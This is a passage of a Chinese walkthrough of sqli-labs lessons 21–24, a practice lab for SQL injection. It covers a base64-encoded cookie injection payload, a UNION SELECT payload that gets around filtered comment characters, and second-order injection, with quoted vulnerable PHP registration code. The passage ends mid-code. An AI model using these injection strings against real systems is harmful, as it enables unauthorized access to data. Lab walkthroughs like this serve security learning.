Cookie Injection
21. Base64-encoded
payload:
uname=LTEnKSBvciB1cGRhdGV4bWwoMCwgY29uY2F0KDB4NWMsIChzZWxlY3QgZGF0YWJhc2UoKSkpLCAxKSM=
只是将payload做了一个base64编码
22. 同上,只是单引号闭合换成双引号闭合
23. Strip comments
这题的题目意思没看太明白,不过注入过程发现是过滤了 #,-- 这两种注释的字符,因此只能使用引号闭合,payload如下:
http://192.168.235.128:8080/Less-23/?id=-1' union select 1,database(),3 or '1'='1
24. 二次注入(重点介绍)
首先,需要明确前置条件:存在另一处操作直接调用输入数据而不做其他处理。
以本题为例,先尝试用admin/1登陆
可以看到这里有个修改密码点,而修改密码常用sql语句如下:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里存在调用username的点,而在主页的新建用户处可以构造username,因此可能存在可以利用的点。
接下来我们分别看一下注册页面的源码以及修改密码页面的源码。
注册页面源码:
主要着眼于一下两段代码
//$username= $_POST['username'] ;
$username = mysqli_real_escape_string($con1, $_POST['username']) ;
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_fetch_row($res);
$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";
mysqli_query